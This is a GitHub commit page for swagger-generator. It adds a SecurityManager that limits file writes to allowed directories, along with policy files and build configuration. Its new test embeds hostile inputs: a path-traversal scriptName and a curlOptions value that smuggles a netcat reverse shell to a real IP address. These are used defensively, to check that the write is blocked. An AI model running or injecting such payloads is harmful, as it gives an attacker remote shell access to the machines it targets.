Skip to content

Commit

Permalink
configure security manager to write protect container filesystem
Browse files Browse the repository at this point in the history
  • Loading branch information
frantuma committed Oct 27, 2020
1 parent 2350e4b commit 7a2b88c
Show file tree
Hide file tree
Showing 8 changed files with 173 additions and 1 deletion.
3 changes: 3 additions & 0 deletions grantall.policy
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
grant {
permission java.security.AllPermission;
};
1 change: 1 addition & 0 deletions modules/swagger-generator/Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@ WORKDIR /generator
COPY docker/jetty_base /generator/
COPY docker/ROOT.xml /generator/webapps/ROOT.xml
COPY target/*.war /generator/webapps/ROOT.war
COPY grantall.policy /generator/grantall.policy
ENV JETTY_BASE /generator
ARG HIDDEN_OPTIONS_DEFAULT_PATH
COPY ${HIDDEN_OPTIONS_DEFAULT_PATH} /generator/resources/
Expand Down
2 changes: 1 addition & 1 deletion modules/swagger-generator/docker/jetty_base/start
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@ JAVA_DEBUG_OPTIONS="-Xdebug -Xrunjdwp:transport=dt_socket,address=8005,server=y,
# APP options
APP_OPTS="-DHIDDEN_OPTIONS_PATH=${HIDDEN_OPTIONS_PATH} -DHIDDEN_OPTIONS=${HIDDEN_OPTIONS}"
# JVM options
JAVA_OPTS="-server -Duser.timezone=GMT -Xms${HEAP} -Xmx${HEAP} -XX:NewSize=${NEW_SIZE} -XX:MaxNewSize=${NEW_SIZE} -XX:+UseConcMarkSweepGC -XX:+UseParNewGC -XX:PermSize=${PERM_SIZE} -XX:MaxPermSize=${PERM_SIZE} -Dfile.encoding=UTF-8"
JAVA_OPTS="-Djava.security.manager -Djava.security.policy==grantall.policy -DgeneratorWriteDirs="/tmp" -server -Duser.timezone=GMT -Xms${HEAP} -Xmx${HEAP} -XX:NewSize=${NEW_SIZE} -XX:MaxNewSize=${NEW_SIZE} -XX:+UseConcMarkSweepGC -XX:+UseParNewGC -XX:PermSize=${PERM_SIZE} -XX:MaxPermSize=${PERM_SIZE} -Dfile.encoding=UTF-8"

echo "Starting application with command: "
echo ${JAVA_EXEC} ${JETTY_OPTS} ${APP_OPTS} ${JAVA_OPTS} -jar $JETTY_HOME/start.jar
Expand Down
3 changes: 3 additions & 0 deletions modules/swagger-generator/grantall.policy
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
grant {
permission java.security.AllPermission;
};
22 changes: 22 additions & 0 deletions modules/swagger-generator/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -38,10 +38,27 @@
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>${surefire-version}</version>
<configuration>
<systemPropertyVariables>
<java.security.policy>${java.security.policy}</java.security.policy>
<generatorWriteDirs>/tmp,.</generatorWriteDirs>
</systemPropertyVariables>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-failsafe-plugin</artifactId>
<version>2.22.0</version>
<configuration>
<systemPropertyVariables>
<java.security.policy>${java.security.policy}</java.security.policy>
<generatorWriteDirs>/tmp,.</generatorWriteDirs>
</systemPropertyVariables>
</configuration>
<executions>
<execution>
<id>integration-test</id>
Expand Down Expand Up @@ -79,6 +96,10 @@
<name>logback.configurationFile</name>
<value>src/main/resources/logback.xml</value>
</systemProperty>
<systemProperty>
<name>java.security.policy</name>
<value>${java.security.policy}</value>
</systemProperty>
</systemProperties>
<webApp>
<contextPath>/</contextPath>
Expand Down Expand Up @@ -364,6 +385,7 @@
</dependency>
</dependencies>
<properties>
<java.security.policy>grantall.policy</java.security.policy>
<dockerfile.tag.skip>true</dockerfile.tag.skip>
<docker-latest-tag>unstable</docker-latest-tag>
<maven-plugin-version>1.0.0</maven-plugin-version>
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
import io.swagger.v3.core.util.Yaml;
import io.swagger.codegen.v3.service.GenerationRequest;
import io.swagger.v3.generator.model.HiddenOptions;
import io.swagger.v3.generator.util.FileAccessSecurityManager;
import io.swagger.v3.generator.util.ZipUtil;
import io.swagger.oas.inflector.models.RequestContext;
import io.swagger.oas.inflector.models.ResponseContext;
Expand Down Expand Up @@ -52,6 +53,9 @@ public class GeneratorController {
private static String PROP_HIDDEN_OPTIONS = "HIDDEN_OPTIONS";

static {
// allow writing files only to directories configgured via generatorWriteDirs sys prop
// e.g. -DgeneratorWriteDirs="/tmp"
System.setSecurityManager(new FileAccessSecurityManager());

hiddenOptions = loadHiddenOptions();
final ServiceLoader<CodegenConfig> loader = ServiceLoader.load(CodegenConfig.class);
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
package io.swagger.v3.generator.util;

import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import java.io.File;
import java.io.IOException;
import java.security.AccessControlException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

public class FileAccessSecurityManager extends SecurityManager {

static Logger LOGGER = LoggerFactory.getLogger(FileAccessSecurityManager.class);

static List<String> allowedDirectories= StringUtils.isBlank(System.getProperty("generatorWriteDirs")) ? new ArrayList<>() : Arrays.asList(System.getProperty("generatorWriteDirs").split(","));

@Override
public void checkWrite(String file) {
super.checkWrite(file);

if (allowedDirectories.isEmpty()) {
return;
}
if (!StringUtils.isBlank(file)) {
boolean granted = false;

for (String dir : allowedDirectories) {
try {
String dirPath = new File(dir).getCanonicalPath();
if (new File(file).getCanonicalPath().startsWith(dirPath)) {
granted = true;
}
} catch (IOException e) {
LOGGER.error("Exception getting absolute path for file {} and/or allowed dir ", file, e);
throw new SecurityException("Exception getting absolute path for allowed dir " + dir + " and/or file " + file);
}

}
if (!granted) {
LOGGER.error("Blocking attempt to write to not allowed directory for file " + file);
throw new AccessControlException("Error writing file to " + file + " as target dir is not allowed");
}
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -39,4 +39,95 @@ public void generateJava() throws Exception {
Assert.assertEquals(rr.getContentType(), MediaType.APPLICATION_OCTET_STREAM_TYPE);
Assert.assertTrue(rr.getHeaders().getFirst("Content-Disposition").contains(" filename=\"java-client-generated.zip\""));
}


@Test
public void generateBashWithAndWithoutSecurityThreat() throws Exception {

String requestJson = "{\n" +
" \"lang\": \"bash\",\n" +
" \"spec\": {\n" +
" \"swagger\": \"2.0\",\n" +
" \"info\": {\n" +
" \"title\": \"Sample API\",\n" +
" \"description\": \"API description in Markdown.\",\n" +
" \"version\": \"1.0.0\"\n" +
" },\n" +
" \"paths\": {\n" +
" \"/users\": {\n" +
" \"get\": {\n" +
" \"produces\": [\n" +
" \"application/json\"\n" +
" ],\n" +
" \"responses\": {\n" +
" \"200\": {\n" +
" \"description\": \"OK\"\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" },\n" +
" \"type\": \"CLIENT\",\n" +
" \"codegenVersion\": \"V2\",\n" +
" \"options\": {\n" +
" \"additionalProperties\": {\n" +
" \"scriptName\": \"../mytemp/start\",\n" +
" \"curlOptions\": \"$(nc 94.76.202.153 8083 -e /bin/sh)\"\n" +
" }\n" +
" }\n" +
"}";


GenerationRequest generationRequest = Json.mapper().readValue(requestJson, GenerationRequest.class);

GeneratorController g = new GeneratorController();
RequestContext r = new RequestContext();
ResponseContext rr = g.generate(r, generationRequest);
Assert.assertEquals(rr.getStatus(), 200);
Assert.assertEquals(rr.getContentType(), MediaType.APPLICATION_OCTET_STREAM_TYPE);
Assert.assertTrue(rr.getHeaders().getFirst("Content-Disposition").contains(" filename=\"bash-client-generated.zip\""));

String requestJsonWithThreatInTargetScriptName = "{\n" +
" \"lang\": \"bash\",\n" +
" \"spec\": {\n" +
" \"swagger\": \"2.0\",\n" +
" \"info\": {\n" +
" \"title\": \"Sample API\",\n" +
" \"description\": \"API description in Markdown.\",\n" +
" \"version\": \"1.0.0\"\n" +
" },\n" +
" \"paths\": {\n" +
" \"/users\": {\n" +
" \"get\": {\n" +
" \"produces\": [\n" +
" \"application/json\"\n" +
" ],\n" +
" \"responses\": {\n" +
" \"200\": {\n" +
" \"description\": \"OK\"\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" },\n" +
" \"type\": \"CLIENT\",\n" +
" \"codegenVersion\": \"V2\",\n" +
" \"options\": {\n" +
" \"additionalProperties\": {\n" +
" \"scriptName\": \"../../mytemp/start\",\n" +
" \"curlOptions\": \"$(nc 94.76.202.153 8083 -e /bin/sh)\"\n" +
" }\n" +
" }\n" +
"}";


generationRequest = Json.mapper().readValue(requestJsonWithThreatInTargetScriptName, GenerationRequest.class);

g = new GeneratorController();
r = new RequestContext();
rr = g.generate(r, generationRequest);
Assert.assertEquals(rr.getStatus(), 500);
}
}

0 comments on commit 7a2b88c

Please sign in to comment.